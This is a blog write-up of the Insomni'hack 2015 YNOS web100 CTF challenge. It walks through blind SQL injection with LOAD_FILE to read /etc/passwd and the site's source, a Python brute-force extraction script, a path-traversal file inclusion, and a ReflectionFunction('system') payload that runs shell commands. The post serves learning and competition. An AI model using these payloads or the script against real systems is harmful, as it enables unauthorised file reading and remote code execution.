title: Insomni'Hack 2015 YNOS - web100 author: depierre published: 2015-01-12 categories: CTF, Security keywords: insomnihack, teaser, ctf, write-up, web, 100, challenge, security, blind, sqli, read, file, rce The Insomni'hack teaser CTF took place this week-end and *xarkes* asked me if I wanted to give it a try. Even though I have my exams this week, I thought I could give it a try. We tried the YNOS Web 100 challenge and we did not even get the flag on time... So infuriating... But still, we managed to go far and almost get it. Because the challenge was interesting, I wanted to write something about it. # YNOS - Web 100 > [http://youtu.be/O2rGTXHvPCQ](http://youtu.be/O2rGTXHvPCQ) > > So many hacking scenes, so little sk1llz... > > Apparently [this website](http://ynos.teaser.insomnihack.ch/) likes these > stupid films. Pwn them and get the flag which is in a pretty obvious file in > the webroot. ![YNOS Homepage](/static/images/inso2k15/ynos_homepage.png) First thing we tried was the credentials "admin|admin" and we logged in. We browsed the pages but did not find anything interesting. I think that finding default credentials did not help us at all since we did not even look further into that login form. Shame on us. Using BURP, we saw some AJAX with JSON payloads in POST data. Accessing the home page would give the following payload: :::python POST /INSO.RPC HTTP/1.1 {"c":{"name":"page"},"a":{"name":"render","params":"home"}} Poking around with the fields would throw some 500 Internal Server Errors sometimes. :::python # 200 OK + content {"c":{"name":"page"},"a":{"name":"render","params":"home"}} # 500 Internal Server Error {"c":{"name":"foo"},"a":{"name":"render","params":"home"}} # 200 OK + empty {"c":{"name":"page"},"a":{"name":"foo","params":"home"}} # 200 OK + empty {"c":{"name":"page"},"a":{"name":"render","params":"foo"}} # Blind SQLi We were stuck here but thanks to *clZ*, we went back to the login form and we found something interesting: :::python # Default login => Returns Login Success {"c":{"name":"user"},"a":{"name":"login","params":"admin|admin"}} # First injection => Returns 'Login Success' {"c":{"name":"user"},"a":{"name":"login","params":"admin' and '1'='1|admin"}} # First injection => Returns 'Login fail' {"c":{"name":"user"},"a":{"name":"login","params":"admin' and '2'='1|admin"}} We clearly had a blind SQL injection here, where the page would print "Login Success" if the request was successful, "Login fail" otherwise. It took us some times before finding a way to exploit it but we finally came with something interesting: :::python # Gives 'Login Success' "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4)='root'#|pom" # Gives 'Login fail' "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4)='rOot'#|pom" At that point, **we had something really interesting: read any file**. But it was sloooooow because we had to bruteforce each letter... From the response header sent by the server, we deduced the default *www* path: :::python Server: Apache/2.4.7 (Ubuntu) => /var/www/html And I wrote a ghetto python script to bruteforce the file content of *INSO.RPC* since everything was sent to it. :::python import time import json import urllib2 import string url = 'http://ynos.teaser.insomnihack.ch/INSO.RPC' charset = string.printable[:] datadir = "" index = len(datadir) + 1 while True: for i in charset: if i == "'": i = "\\'" print "Trying '%s' at index %d" % (datadir + i, index) data = json.dumps({ "c": {"name": "user"}, "a": { "name": "login", "params": "admin' AND SUBSTRING(LOAD_FILE('/var/www/html/INSO.RPC'), 1, " + str(index) + ")='" + datadir + i + "'#|pom"}}) f = urllib2.urlopen(url, data) response = f.read() f.close() if "Success" in response: print "Found '%s' at %d" % (i, index) datadir += i index += 1 print "datadir = '%s'" % datadir break time.sleep(0.2) It gave us the following: :::php When trying to use the script to download *functions.php* I had a problem because of the letter *|* and I still do not know why. I decided to use **LIKE BINARY** and **_** (joker character) instead of **=** in order to bypass any annoying letters: :::python # Success "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4) LIKE BINARY 'root'#|pom" # Success too! "admin' AND SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 4) LIKE BINARY 'ro_t'#|pom" Then we were able to extract both *functions.php* and *classes.php*: :::php hl_lines="29 39 95 97" id = $id; if(file_exists("/tmp/".$this->id)) { $this->session = json_decode(file_get_contents("/tmp/".$this->id), true); } else { $this->session = Array(); } } function get($var) { return $this->session[$var]; } function set($var,$value) { $this->session[$var] = $value; if(isset($this->id) && $this->id !== "") { file_put_contents("/tmp/".$this->id,json_encode($this->session)); } } function debug() { print file_get_contents("/tmp/".$this->id); } function getId() { return $this->id; } } class user { function login($username,$password) { mysql_connect("localhost","inso15","inso15"); mysql_select_db("inso15"); $query = "SELECT id FROM users WHERE name = '$username' and password = '" . sha1($password) . "'"; $result = mysql_query($query); $line = mysql_fetch_array($result,MYSQL_ASSOC); if(isset($line['id']) && $line['id'] !== "") { $GLOBALS['session']->set("userid",$line['id']); $GLOBALS['message'] = "Login Success"; } else { $GLOBALS['session']->set("userid",-1); $GLOBALS['message'] = "Login fail"; } } function logout($user) { $GLOBALS['session']->set("userid",-1); } function register($username,$password) { //TODO } } class page { private $name; private $allowed_pages = array("home","artists","films","directors","logout"); function render($page) { if($GLOBALS['session']->get("userid") > 0) { foreach($this->allowed_pages as $allowed_page) { if(preg_match("/$allowed_page/",$page)) { //print "This is page " . $page; include($page . ".php"); } } } else { include("login.php"); } } } ?> # Remote Code Execution It was then easier to fuzz the JSON payload than doing it blindly but the CTF was ending in 2 hours so we had to hurry up! Checking the *functions.php* file there was a really interesting function: :::php hl_lines="22" With this wonderful code, we have a nice code execution: **we can call whatever classes with whatever methods with whatever parameters** :) So I tried with ``session.debug()``: :::python # Request: call session.debug() {"c":{"name":"session"},"a":{"name":"debug"}} # Response {} I tried to write some PHP code inside using the following: :::python # Request {"c":{"name":"session"},"a":{"name":"set","params":{"var":"id","value":""}}} # Request {"c":{"name":"session"},"a":{"name":"debug"}} # Response {"id":""} Of course this did not work since the result was not send back as PHP code and therefore not executed by the server. So we tried something a little bit different: change the ``session->id`` and access the file through the LFI that is in the ``{"a":"name"}`` parameter. Indeed, **there was a LFI if you took a look at the *page* class.** :::php hl_lines="8 10" get("userid") > 0) { foreach($this->allowed_pages as $allowed_page) { // If the path contains one of the white-listed names if(preg_match("/$allowed_page/",$page)) { // Includes it! include($page . ".php"); } } } ?> Basically, it means that the following payload would load */tmp/home_rogue.php*: :::python {"c":{"name":"page"},"a":{"name":"render","params":"../../../tmp/home_rogue"}} The last thing we needed was to write our payload in the *home_rogue.php* file and that is where we failed. There was 30 minutes left to the CTF and we missed a really important point but I will come back to that right after. First we tried to set the ``session->id`` with our own value and then access the page: :::python # Set $id to /tmp/home_rogue.php and write " inside {"c":{"name":"session","params":"home_rogue.php"},"a":{"name":"set","params":"|"}} # Then access the page using the LFI {"c":{"name":"page"},"a":{"name":"render","params":"../../../tmp/home_rogue"}} But it did not work, nor any other payloads we tried after... **The time was up before we could find the correct one combination :/** # Sad panda I am still really angry not to have found the correct payload because we were really close from getting the flag (by the way, thank you clZ for your help!). But still, the challenge was really interesting and it is not often the case for web ones. I mean we had: 1. an SQLi to bruteforce in order to extract the source code (fun but slow, I should have used SQLMap) 2. an RCE to exploit in order to create our payload 3. an LFI to use in order to access our payload Fun fact: when I saw that it was getting late, I stopped the bruteforce scripts from my laptop, uploaded them to my dedicated server, removed the ``time.sleep(0.2)`` and ran 3 instances (one for each file). That was the first time in a CTF where I was allowed to flood that much a challenge and it was really faster then! :P # After the CTF In the Insomni'hack chatroom, *niklasb* gave a really nice and simple exploit: :::python hl_lines="24" # Payload {"c":{"name":"ReflectionFunction","params":"system"},"a":{"name":"invoke","params":"ls"}} # Response INSO.RPC ___THE_FLAG_IS_IN_HERE___ ___THE_FLAG_IS_IN_HERE___.save artists.php bootstrap.min.css bootstrap.min.js classes.php directors.php films.php functions.php home.php index.php jquery-2.1.1.min.js login.php logout.php preload.php # Payload bis {"c":{"name":"ReflectionFunction","params":"system"},"a":{"name":"invoke","params":"cat ___THE_FLAG_IS_IN_HERE___"}} # Response INS{Gotta_L0ve_l33t_serialization_suff!} ![Meme NOOO](/static/images/inso2k15/meme_nooo.gif) After seeing that, I realized that we made a big mistake. We assumed that we were only able to call the methods of the classes defined in *classes.php*. Maybe we could have found the flag if only we had check that... Well that is all for tonight. It is almost 2pm and I have an exam in 6 hours...